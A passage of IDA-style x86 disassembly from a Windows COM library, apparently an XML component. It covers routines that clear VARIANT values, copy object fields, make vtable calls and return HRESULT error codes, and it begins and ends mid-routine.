		jmp	short loc_69B7110B
; ---------------------------------------------------------------------------


loc_69B710E3:				; CODE XREF: sub_69B71074+4Aj
		push	esi
		push	10h
		call	sub_69B11CFE
		pop	ecx
		pop	ecx
		mov	ecx, eax
		mov	[ebp-0D0h], ecx
		cmp	ecx, ebx
		jz	short loc_69B71100
		call	sub_69B15D28
		jmp	short loc_69B71102
; ---------------------------------------------------------------------------


loc_69B71100:				; CODE XREF: sub_69B71074+83j
		xor	eax, eax


loc_69B71102:				; CODE XREF: sub_69B71074+8Aj
		mov	[ebp-0D4h], eax
		add	eax, 0Ch


loc_69B7110B:				; CODE XREF: sub_69B71074+6Dj
		mov	[ebp-2Ch], eax
		mov	ecx, esi
		shl	ecx, 4
		lea	eax, [ecx+eax-10h]
		mov	[ebp-0D8h], eax
		mov	eax, [ebp+10h]
		mov	[ebp-0DCh], eax
		mov	[ebp-0E0h], esi


loc_69B7112C:				; CODE XREF: sub_69B71074+E7j
		mov	eax, [ebp-0E0h]
		dec	dword ptr [ebp-0E0h]
		test	eax, eax
		jz	short loc_69B7115D
		push	dword ptr [ebp-0D8h] ; pvarg
		mov	ecx, [ebp-0DCh]
		call	sub_69B63F7F
		sub	dword ptr [ebp-0D8h], 10h
		add	dword ptr [ebp-0DCh], 10h
		jmp	short loc_69B7112C
; ---------------------------------------------------------------------------


loc_69B7115D:				; CODE XREF: sub_69B71074+41j
					; sub_69B71074+C6j
		mov	esi, [ebp+0Ch]
		mov	ecx, [esi+14h]
		mov	[ebp-0E4h], ecx
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		mov	edi, eax
		mov	[ebp-0E8h], edi
		lea	eax, [ebp-30h]
		push	eax
		lea	eax, [ebp-0ECh]
		push	eax
		push	edi
		mov	ecx, [ebp-1Ch]
		call	sub_69B70813
		mov	eax, [esi+10h]
		mov	[ebp-0F0h], eax
		lea	ecx, [ebp-0F4h]
		push	ecx
		lea	ecx, [ebp-34h]
		push	ecx
		lea	ecx, [ebp-38h]
		push	ecx
		push	dword ptr [ebp-0ECh]
		push	eax
		mov	ecx, [ebp-1Ch]
		call	sub_69B708B8
		cmp	[ebp-38h], ebx
		jnz	short loc_69B711D1
		cmp	[ebp-34h], ebx
		jnz	short loc_69B711D1
		mov	eax, [esi+10h]
		mov	[ebp-0F8h], eax
		push	ebx
		push	ebx
		push	eax
		push	0C00CE318h
		call	sub_69B6E277


loc_69B711D1:				; CODE XREF: sub_69B71074+140j
					; sub_69B71074+145j
		cmp	dword ptr [ebp-0F4h], 0FFFFFFFFh
		jnz	short loc_69B711F0
		mov	esi, [esi+10h]
		mov	[ebp-0FCh], esi
		push	ebx
		push	edi
		push	esi
		push	0C00CE319h
		call	sub_69B6E277


loc_69B711F0:				; CODE XREF: sub_69B71074+164j
		lea	eax, [ebp-4Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	dword ptr [ebp-30h]
		push	dword ptr [ebp-0F4h]
		push	edi
		push	dword ptr [ebp-34h]
		push	dword ptr [ebp-38h]
		push	dword ptr [ebp+8]
		mov	ecx, [ebp-1Ch]
		call	sub_69B70EC9
		lea	eax, [ebp-4Ch]
		push	eax
		mov	ecx, [ebp+18h]
		call	sub_69B64A14
		test	al, al
		jnz	short loc_69B7123A
		push	ebx
		push	edi
		push	0C00CE320h
		push	80004005h
		call	sub_69B2E8CC
		add	esp, 10h
		mov	[ebp-3Ch], eax


loc_69B7123A:				; CODE XREF: sub_69B71074+1ADj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B7125A
; ---------------------------------------------------------------------------


loc_69B71240:				; DATA XREF: .text:69B7129Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B71249:				; DATA XREF: .text:69B712A0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		mov	[ebp-3Ch], eax
		or	dword ptr [ebp-4], 0FFFFFFFFh
		xor	ebx, ebx


loc_69B7125A:				; CODE XREF: sub_69B71074+1CAj
		mov	esi, [ebp-2Ch]
		cmp	esi, ebx
		jz	short loc_69B71275
		mov	edi, [ebp+14h]
		cmp	edi, ebx
		jz	short loc_69B71275


loc_69B71268:				; CODE XREF: sub_69B71074+1FFj
		push	esi		; pvarg
		call	VariantClear
		add	esi, 10h
		dec	edi
		jnz	short loc_69B71268


loc_69B71275:				; CODE XREF: sub_69B71074+1EBj
					; sub_69B71074+1F2j
		lea	eax, [ebp-4Ch]
		push	eax		; pvarg
		call	VariantClear
		mov	ecx, [ebp-3Ch]
		cmp	ecx, ebx
		jz	short loc_69B7128B
		call	sub_69B2E875


loc_69B7128B:				; CODE XREF: sub_69B71074+210j
		call	sub_69B1853C
		retn	14h
sub_69B71074	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B71298	dd 0FFFFFFFFh			dd offset loc_69B71240
		dd offset loc_69B71249

; =============== S U B	R O U T	I N E =======================================



sub_69B712A4	proc near		; CODE XREF: sub_69B757FD+Ap
					; sub_69B75B50+35p
		mov	eax, [ecx+18h]
		and	eax, 0Fh
		xor	edx, edx
		sub	eax, edx
		jz	short loc_69B712D0
		dec	eax
		jz	short loc_69B712B6
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_69B712B6:				; CODE XREF: sub_69B712A4+Dj
		lea	eax, [ecx+4]
		mov	ecx, [ecx]
		cmp	[eax], edx
		mov	edx, [ecx]
		push	eax
		jz	short loc_69B712C9
		call	dword ptr [edx+0A0h]
		retn
; ---------------------------------------------------------------------------


loc_69B712C9:				; CODE XREF: sub_69B712A4+1Cj
		call	dword ptr [edx+9Ch]
		retn
; ---------------------------------------------------------------------------


loc_69B712D0:				; CODE XREF: sub_69B712A4+Aj
		lea	eax, [ecx+4]
		mov	ecx, [ecx]
		cmp	[eax], edx
		mov	edx, [ecx]
		push	eax
		jz	short loc_69B712E0
		call	dword ptr [edx+6Ch]
		retn
; ---------------------------------------------------------------------------


loc_69B712E0:				; CODE XREF: sub_69B712A4+36j
		call	dword ptr [edx+68h]
		retn
sub_69B712A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B712E4	proc near		; CODE XREF: sub_69B712FA+4Cp
					; sub_69B713D4+3Bp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		mov	eax, ecx
		mov	ecx, [eax+4]
		mov	edx, [ecx]
		push	eax
		add	eax, 8
		push	eax
		call	dword ptr [edx+44h]
		retn	4
sub_69B712E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B712FA	proc near		; CODE XREF: sub_69B6F0B5+46p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_4]
		mov	esi, ecx
		xor	ebx, ebx
		lea	edi, [esi+8]
		push	edi
		mov	[esi+18h], ebx
		mov	[esi+0Ch], ebx
		call	sub_69B17320
		mov	eax, [esi+18h]
		xor	eax, [esp+0Ch+arg_8]
		push	ebx
		and	eax, 0Fh
		xor	[esi+18h], eax
		lea	eax, [esi+14h]
		push	eax
		mov	[esi], ebx
		call	sub_69B17320
		cmp	[edi], ebx
		mov	[esi+4], ebx
		jnz	short loc_69B7135B
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [eax+28h]
		mov	ecx, [ecx+18h]
		mov	[esi], ecx
		mov	eax, [eax+28h]
		push	esi
		mov	ecx, eax
		call	sub_69B712E4
		push	eax
		push	edi
		call	sub_69B17320
		cmp	[edi], ebx
		jnz	short loc_69B7135B
		push	2
		pop	eax
		jmp	short loc_69B7135D
; ---------------------------------------------------------------------------


loc_69B7135B:				; CODE XREF: sub_69B712FA+38j
					; sub_69B712FA+5Aj
		xor	eax, eax


loc_69B7135D:				; CODE XREF: sub_69B712FA+5Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
sub_69B712FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B71363	proc near		; CODE XREF: sub_69B6E444+8p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi]
		mov	esi, ecx
		mov	[esi], eax
		mov	eax, [edi+4]
		mov	[esi+4], eax
		lea	eax, [edi+8]
		push	eax
		lea	ecx, [esi+8]
		call	sub_69B4D414
		mov	eax, [edi+0Ch]
		mov	[esi+0Ch], eax
		mov	eax, [edi+18h]
		mov	[esi+18h], eax
		mov	eax, [edi+10h]
		add	edi, 14h
		push	edi
		lea	ecx, [esi+14h]
		mov	[esi+10h], eax
		call	sub_69B4D414
		pop	edi
		pop	esi
		retn	4
sub_69B71363	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B713A4	proc near		; CODE XREF: sub_69B6EBB8+13p
		push	esi
		push	edi
		mov	esi, ecx
		and	dword ptr [esi], 0
		push	0
		lea	edi, [esi+8]
		push	edi
		call	sub_69B17320
		and	dword ptr [esi+10h], 0
		push	0
		add	esi, 14h
		push	esi
		call	sub_69B17320
		push	esi
		call	sub_69B17230
		push	edi
		call	sub_69B17230
		pop	edi
		pop	esi
		retn
sub_69B713A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B713D4	proc near		; CODE XREF: sub_69B6EF3C+44p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, ecx
		mov	ebx, 200h
		test	[esi+18h], ebx
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_69B7140B
		mov	eax, [esi+0Ch]


loc_69B713EA:				; CODE XREF: sub_69B713D4+35j
		mov	ecx, [esi+8]
		mov	edx, [ecx]
		push	edi
		push	eax
		call	dword ptr [edx+38h]
		and	dword ptr [edi+58h], 0FFFFFFFEh
		mov	eax, [esi+0Ch]
		test	eax, eax
		jnz	short loc_69B7142E
		cmp	[esi], eax
		jz	short loc_69B7142A
		or	[esi+18h], ebx
		test	[esi+18h], ebx
		jz	short loc_69B713EA


loc_69B7140B:				; CODE XREF: sub_69B713D4+11j
		mov	ecx, [edi+28h]
		push	esi
		call	sub_69B712E4
		push	eax
		lea	edi, [esi+8]
		push	edi
		call	sub_69B17320
		and	byte ptr [esi+19h], 0FDh
		cmp	dword ptr [edi], 0
		setz	al
		jmp	short loc_69B71430
; ---------------------------------------------------------------------------


loc_69B7142A:				; CODE XREF: sub_69B713D4+2Dj
		mov	al, 1
		jmp	short loc_69B71430
; ---------------------------------------------------------------------------


loc_69B7142E:				; CODE XREF: sub_69B713D4+29j
		xor	al, al


loc_69B71430:				; CODE XREF: sub_69B713D4+54j
					; sub_69B713D4+58j
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_69B713D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B71436	proc near		; CODE XREF: sub_69B71592+10p

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		and	dword ptr [esi+4], 0
		test	[esp+4+arg_0], 1
		mov	dword ptr [esi], offset	off_69B2A4D0
		jz	short loc_69B71450
		push	esi
		call	sub_69B1B2B7


loc_69B71450:				; CODE XREF: sub_69B71436+12j
		mov	eax, esi
		pop	esi
		retn	4
sub_69B71436	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B71456	proc near		; CODE XREF: sub_69B6E5D9+32p
					; DATA XREF: .text:69B16CCCo ...
		and	dword ptr [ecx+8], 0
		retn
sub_69B71456	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7145B	proc near		; CODE XREF: .text:69B71477p
					; .text:69B71493p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jg	short locret_69B71466
		add	eax, [ecx+8]

locret_69B71466:			; CODE XREF: sub_69B7145B+6j
		retn	4
sub_69B7145B	endp

; ---------------------------------------------------------------------------


loc_69B71469:				; DATA XREF: .text:off_69B2A4D0o
		mov	edx, [ecx+4]
		push	esi
		push	dword ptr [esp+0Ch]
		mov	esi, [edx]
		push	dword ptr [esp+0Ch]
		call	sub_69B7145B
		push	eax
		mov	ecx, edx
		call	dword ptr [esi]
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_69B71485:				; DATA XREF: .text:69B2A4D4o
		mov	edx, [ecx+4]
		push	esi
		push	dword ptr [esp+0Ch]
		mov	esi, [edx]
		push	dword ptr [esp+0Ch]
		call	sub_69B7145B
		push	eax
		mov	ecx, edx
		call	dword ptr [esi+4]
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_69B714A2:				; DATA XREF: .text:69B2A4D8o
		mov	edx, [ecx+4]
		push	esi
		push	dword ptr [esp+10h]
		mov	esi, [edx]
		push	dword ptr [esp+10h]
		push	dword ptr [esp+10h]
		call	sub_69B7145B
		push	eax
		mov	ecx, edx
		call	dword ptr [esi+8]
		pop	esi
		retn	0Ch

; =============== S U B	R O U T	I N E =======================================



sub_69B714C3	proc near		; DATA XREF: .text:69B2A4DCo
					; .text:69B6BFECo
		mov	ecx, [ecx+4]
		mov	eax, [ecx]
		jmp	dword ptr [eax+0Ch]
sub_69B714C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B714CB	proc near		; DATA XREF: .text:69B2A4E0o
					; .text:69B6BFF0o
		mov	ecx, [ecx+4]
		mov	eax, [ecx]
		jmp	dword ptr [eax+10h]
sub_69B714CB	endp

; ---------------------------------------------------------------------------


loc_69B714D3:				; DATA XREF: .text:69B2A4E4o
		mov	ecx, [ecx+4]
		mov	eax, [ecx]
		jmp	dword ptr [eax+14h]

; =============== S U B	R O U T	I N E =======================================



sub_69B714DB	proc near		; CODE XREF: .text:69B6E556p
					; sub_69B6E571+2Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi], 0
		jnz	short loc_69B71508
		push	0Ch
		call	sub_69B1D897
		test	eax, eax
		jz	short loc_69B71504
		mov	ecx, [esp+4+arg_0]
		mov	[eax+4], ecx
		mov	ecx, [esp+4+arg_4]
		mov	dword ptr [eax], offset	off_69B2A4D0
		mov	[eax+8], ecx
		jmp	short loc_69B71506
; ---------------------------------------------------------------------------


loc_69B71504:				; CODE XREF: sub_69B714DB+11j
		xor	eax, eax


loc_69B71506:				; CODE XREF: sub_69B714DB+27j
		mov	[esi], eax


loc_69B71508:				; CODE XREF: sub_69B714DB+6j
		mov	eax, [esi]
		pop	esi
		retn	8
sub_69B714DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B7150E	proc near		; CODE XREF: sub_69B6F8EA+63p

arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		lea	eax, [esi+4]
		push	eax
		call	sub_69B17320
		push	[esp+4+arg_C]
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17320
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi+8], 0
		pop	esi
		retn	10h
sub_69B7150E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B71542	proc near		; CODE XREF: sub_69B6E454+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		push	edi
		mov	edi, ecx
		mov	[edi], eax
		and	dword ptr [esi], 0
		lea	eax, [esi+4]
		push	eax
		lea	ecx, [edi+4]
		call	sub_69B4D414
		mov	eax, [esi+8]
		mov	[edi+8], eax
		lea	eax, [esi+0Ch]
		push	eax
		lea	ecx, [edi+0Ch]
		call	sub_69B4D414
		mov	eax, [esi+18h]
		mov	[edi+18h], eax
		lea	eax, [esi+14h]
		push	eax
		lea	ecx, [edi+14h]
		call	sub_69B4D414
		add	esi, 10h
		push	esi
		lea	ecx, [edi+10h]
		call	sub_69B4D414
		pop	edi
		pop	esi
		retn	4
sub_69B71542	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B71592	proc near		; CODE XREF: sub_69B6EC1E+13p
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		mov	ecx, [esi]
		xor	ebp, ebp
		cmp	ecx, ebp
		push	edi
		jz	short loc_69B715A7
		push	1
		call	sub_69B71436


loc_69B715A7:				; CODE XREF: sub_69B71592+Cj
		push	ebp
		lea	edi, [esi+4]
		push	edi
		call	sub_69B17320
		push	ebp
		lea	ebx, [esi+0Ch]
		push	ebx
		call	sub_69B17320
		mov	[esi+18h], ebp
		push	0
		lea	ebp, [esi+14h]
		push	ebp
		call	sub_69B17320
		push	0
		add	esi, 10h
		push	esi
		call	sub_69B17320
		push	ebp
		call	sub_69B17230
		push	esi
		call	sub_69B17230
		push	ebx
		call	sub_69B17230
		push	edi
		call	sub_69B17230
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_69B71592	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B715F1	proc near		; CODE XREF: .text:69B6E567p
					; sub_69B71654+4Bp ...
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+10h]
		cmp	dword ptr [edi], 0
		jnz	short loc_69B7164B
		mov	eax, [esi+4]
		push	ebx
		push	dword ptr [eax+18h]
		push	10h
		call	sub_69B11CFE
		mov	ebx, eax
		test	ebx, ebx
		pop	ecx
		pop	ecx
		jz	short loc_69B71622
		mov	ecx, ebx
		call	sub_69B19118
		mov	dword ptr [ebx], offset	off_69B13908
		jmp	short loc_69B71624
; ---------------------------------------------------------------------------


loc_69B71622:				; CODE XREF: sub_69B715F1+20j
		xor	ebx, ebx


loc_69B71624:				; CODE XREF: sub_69B715F1+2Fj
		push	ebx
		push	edi
		call	sub_69B17320
		mov	ecx, [edi]
		push	0
		call	sub_69B171A0
		mov	ecx, [esi+4]
		mov	ecx, [ecx+18h]
		test	ecx, ecx
		pop	ebx
		jz	short loc_69B7164B
		add	eax, 4


loc_69B71642:				; CODE XREF: sub_69B715F1+58j
		mov	byte ptr [eax],	1
		add	eax, 10h
		dec	ecx
		jnz	short loc_69B71642


loc_69B7164B:				; CODE XREF: sub_69B715F1+Aj
					; sub_69B715F1+4Cj
		mov	ecx, [edi]
		pop	edi
		pop	esi
		jmp	sub_69B171A0
sub_69B715F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B71654	proc near		; CODE XREF: sub_69B6E5A7+2Dj

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	ecx, [edi+4]
		mov	eax, [ecx]
		call	dword ptr [eax+48h]
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_69B7168A
		mov	eax, [edi+4]
		mov	eax, [eax+18h]
		lea	esi, [ebx+eax*4-4]
		jmp	short loc_69B71686
; ---------------------------------------------------------------------------


loc_69B71673:				; CODE XREF: sub_69B71654+34j
		mov	eax, [esi]
		lea	ecx, [eax+2Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+38h]
		cmp	[esp+0Ch+arg_0], eax
		jz	short loc_69B71692
		sub	esi, 4


loc_69B71686:				; CODE XREF: sub_69B71654+1Dj
		cmp	esi, ebx
		jnb	short loc_69B71673


loc_69B7168A:				; CODE XREF: sub_69B71654+11j
		xor	eax, eax


loc_69B7168C:				; CODE XREF: sub_69B71654+50j
		pop	edi
		pop	esi
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_69B71692:				; CODE XREF: sub_69B71654+2Dj
		mov	esi, [esi]
		lea	ecx, [esi+2Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+44h]
		push	eax
		mov	ecx, edi
		call	sub_69B715F1
		jmp	short loc_69B7168C
sub_69B71654	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B716A6	proc near		; CODE XREF: sub_69B6F054+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+14h]
		cmp	dword ptr [edi], 0
		jnz	short loc_69B716BE
		mov	eax, [esi+4]
		push	dword ptr [eax+14h]
		push	edi
		call	sub_69B17320


loc_69B716BE:				; CODE XREF: sub_69B716A6+Aj
		push	dword ptr [esi+18h]
		mov	ecx, [edi]
		push	[esp+0Ch+arg_0]
		call	sub_69B7175A
		pop	edi
		pop	esi
		retn	4
sub_69B716A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B716D1	proc near		; DATA XREF: sub_69B71B16+2Eo

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		mov	ecx, [eax]
		mov	eax, [esp+arg_8]
		fld	qword ptr [ecx+38h]
		mov	edx, [eax]
		fld	qword ptr [edx+38h]
		fld	st(1)
		fcomp	st(1)
		fnstsw	ax
		test	ah, 5
		jp	short loc_69B716F6
		fstp	st
		or	eax, 0FFFFFFFFh
		fstp	st
		retn
; ---------------------------------------------------------------------------


loc_69B716F6:				; CODE XREF: sub_69B716D1+1Bj
		fld	st(1)
		fcompp	st(1), st
		fnstsw	ax
		fstp	st
		test	ah, 41h
		jnz	short loc_69B71707
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_69B71707:				; CODE XREF: sub_69B716D1+30j
		mov	eax, [ecx+40h]
		xor	ecx, ecx
		cmp	eax, [edx+40h]
		setnl	cl
		lea	ecx, [ecx+ecx-1]
		mov	eax, ecx
		retn
sub_69B716D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B71719	proc near		; DATA XREF: .text:69B16094o
		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		push	edi
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B2DEB2
		push	edi
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B2DEB2
		push	edi
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B17320
		pop	edi
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B71719	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B7175A	proc near		; CODE XREF: sub_69B716A6+21p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx


loc_69B71765:				; CODE XREF: sub_69B7175A+141j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	dword ptr [esi+14h], 0
		jz	short loc_69B71795
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx]
		call	dword ptr [eax+38h]
		test	eax, eax
		jz	short loc_69B71795
		mov	eax, [eax+14h]
		mov	ecx, [esi+14h]
		push	eax
		call	sub_69B1980A
		test	eax, eax
		mov	[ebp+var_8], eax
		jz	short loc_69B71795
		mov	eax, [eax+0Ch]
		dec	eax
		mov	[ebp+var_4], eax


loc_69B71795:				; CODE XREF: sub_69B7175A+13j
					; sub_69B7175A+1Fj ...
		mov	ebx, [esi+1Ch]
		dec	ebx
		cmp	[ebp+var_4], 0
		jl	loc_69B71892
		test	ebx, ebx
		jl	loc_69B71866
		push	[ebp+var_4]
		mov	ecx, [ebp+var_8]
		call	sub_69B8A163
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+10h]
		mov	[ebp+var_C], eax


loc_69B717C0:				; CODE XREF: sub_69B7175A+D9j
		mov	ecx, [esi+18h]
		push	ebx
		call	sub_69B1A954
		mov	edi, [eax]


loc_69B717CB:				; CODE XREF: sub_69B7175A+BAj
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+40h]
		cmp	ecx, [edi+40h]
		jle	short loc_69B71816
		mov	ecx, [eax+2Ch]
		test	ecx, ecx
		jz	loc_69B718A3
		push	[ebp+arg_4]
		mov	eax, [ecx]
		push	0
		push	[ebp+arg_0]
		call	dword ptr [eax+4Ch]
		test	eax, eax
		jnz	loc_69B718AA
		dec	[ebp+var_4]
		js	loc_69B71892
		push	[ebp+var_4]
		mov	ecx, [ebp+var_8]
		call	sub_69B8A163
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+10h]
		mov	[ebp+var_C], eax
		jmp	short loc_69B717CB
; ---------------------------------------------------------------------------


loc_69B71816:				; CODE XREF: sub_69B7175A+7Aj
		mov	ecx, [edi+2Ch]
		test	ecx, ecx
		jz	loc_69B718AF
		push	[ebp+arg_4]
		mov	eax, [ecx]
		push	0
		push	[ebp+arg_0]
		call	dword ptr [eax+4Ch]
		test	eax, eax
		jnz	short loc_69B718AF
		dec	ebx
		jns	short loc_69B717C0
		jmp	short loc_69B71866
; ---------------------------------------------------------------------------


loc_69B71837:				; CODE XREF: sub_69B7175A+110j
		push	[ebp+var_4]
		mov	ecx, [ebp+var_8]
		call	sub_69B8A163
		mov	edx, [eax]
		dec	[ebp+var_4]
		mov	ecx, eax
		call	dword ptr [edx+10h]
		mov	edi, eax
		mov	ecx, [edi+2Ch]
		test	ecx, ecx
		jz	short loc_69B718AF
		push	[ebp+arg_4]
		mov	eax, [ecx]
		push	0
		push	[ebp+arg_0]
		call	dword ptr [eax+4Ch]
		test	eax, eax
		jnz	short loc_69B718AF


loc_69B71866:				; CODE XREF: sub_69B7175A+4Bj
					; sub_69B7175A+DBj
		cmp	[ebp+var_4], 0
		jge	short loc_69B71837
		jmp	short loc_69B71892
; ---------------------------------------------------------------------------


loc_69B7186E:				; CODE XREF: sub_69B7175A+13Aj
		mov	ecx, [esi+18h]
		push	ebx
		call	sub_69B1A954
		mov	edi, [eax]
		mov	ecx, [edi+2Ch]
		dec	ebx
		test	ecx, ecx
		jz	short loc_69B718AF
		push	[ebp+arg_4]
		mov	eax, [ecx]
		push	0
		push	[ebp+arg_0]
		call	dword ptr [eax+4Ch]
		test	eax, eax
		jnz	short loc_69B718AF


loc_69B71892:				; CODE XREF: sub_69B7175A+43j
					; sub_69B7175A+9Fj ...
		test	ebx, ebx
		jge	short loc_69B7186E
		mov	esi, [esi+10h]
		test	esi, esi
		jnz	loc_69B71765
		xor	eax, eax


loc_69B718A3:				; CODE XREF: sub_69B7175A+81j
					; sub_69B7175A+153j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_69B718AA:				; CODE XREF: sub_69B7175A+96j
		mov	eax, [ebp+var_C]
		jmp	short loc_69B718A3
; ---------------------------------------------------------------------------


loc_69B718AF:				; CODE XREF: sub_69B7175A+C1j
					; sub_69B7175A+D6j ...
		mov	eax, edi
		jmp	short loc_69B718A3
sub_69B7175A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B718B3	proc near		; CODE XREF: sub_69B72411+2Cp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+18h]
		cmp	dword ptr [edi], 0
		jnz	short loc_69B718E4
		push	20h
		call	sub_69B17EF3
		mov	ebx, eax
		mov	ecx, ebx
		mov	dword ptr [ebx+8], 4
		call	sub_69B19118
		push	ebx
		push	edi
		mov	dword ptr [ebx], offset	off_69B1EE00
		call	sub_69B17320


loc_69B718E4:				; CODE XREF: sub_69B718B3+Bj
		mov	ecx, [edi]
		mov	eax, [ecx+8]
		cmp	[esi+1Ch], eax
		jl	short loc_69B718FD
		add	eax, eax
		push	eax
		call	sub_69B660A0
		push	eax
		push	edi
		call	sub_69B17320


loc_69B718FD:				; CODE XREF: sub_69B718B3+39j
		mov	eax, [esi+1Ch]
		mov	ebx, [esp+0Ch+arg_0]
		mov	[ebx+40h], eax
		mov	eax, [esi+1Ch]
		lea	ecx, [eax+1]
		mov	[esi+1Ch], ecx
		mov	ecx, [edi]
		push	eax
		call	sub_69B1A954
		push	ebx
		push	eax
		call	sub_69B17320
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_69B718B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B71927	proc near		; CODE XREF: sub_69B71B16+74p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B315A6
		push	eax
		lea	ebx, [esi+14h]
		push	ebx
		call	sub_69B17320
		mov	edi, [esi+1Ch]
		push	0
		push	2
		mov	[ebp+var_10], edi
		call	sub_69B8A458
		and	[ebp+var_8], 0
		test	edi, edi
		mov	[ebp+var_C], eax
		jle	loc_69B71A2C


loc_69B7195F:				; CODE XREF: sub_69B71927+FFj
		push	[ebp+var_8]
		mov	ecx, [esi+18h]
		call	sub_69B1A954
		mov	eax, [eax]
		mov	ecx, [eax+2Ch]
		test	ecx, ecx
		mov	[ebp+var_18], eax
		jz	loc_69B71A1D
		mov	edi, [ebp+var_C]
		mov	eax, [ecx]
		push	edi
		call	dword ptr [eax+50h]
		mov	edi, [edi+0Ch]
		and	[ebp+var_4], 0
		test	edi, edi
		mov	[ebp+var_1C], edi
		jle	short loc_69B719AC


loc_69B71991:				; CODE XREF: sub_69B71927+83j
		push	[ebp+var_4]
		mov	ecx, [ebp+var_C]
		call	sub_69B8A163
		cmp	eax, dword_69B95A18
		jz	short loc_69B719AC
		inc	[ebp+var_4]
		cmp	[ebp+var_4], edi
		jl	short loc_69B71991


loc_69B719AC:				; CODE XREF: sub_69B71927+68j
					; sub_69B71927+7Bj
		cmp	[ebp+var_4], edi
		jnz	short loc_69B71A15
		and	[ebp+var_4], 0
		test	edi, edi
		jle	short loc_69B719FF


loc_69B719B9:				; CODE XREF: sub_69B71927+D6j
		push	[ebp+var_4]
		mov	ecx, [ebp+var_C]
